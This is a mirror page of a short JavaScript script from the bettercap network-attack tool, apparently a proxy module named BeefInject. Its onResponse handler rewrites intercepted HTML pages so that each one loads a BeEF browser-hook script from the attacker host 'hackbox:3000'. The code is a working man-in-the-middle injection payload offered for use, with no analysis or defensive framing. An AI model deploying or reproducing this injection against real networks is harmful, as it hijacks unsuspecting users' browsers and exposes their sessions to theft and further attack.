mirror of
https://github.com/bettercap/bettercap
synced 2025-07-16 10:03:39 -07:00
9 lines
299 B
JavaScript
9 lines
299 B
JavaScript
function onLoad() {
|
|
console.log( "BeefInject loaded." );
|
|
}
|
|
|
|
function onResponse(req, res) {
|
|
if( res.ContentType.indexOf("text/html") == 0 ){
|
|
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
|
|
}
|
|
}
|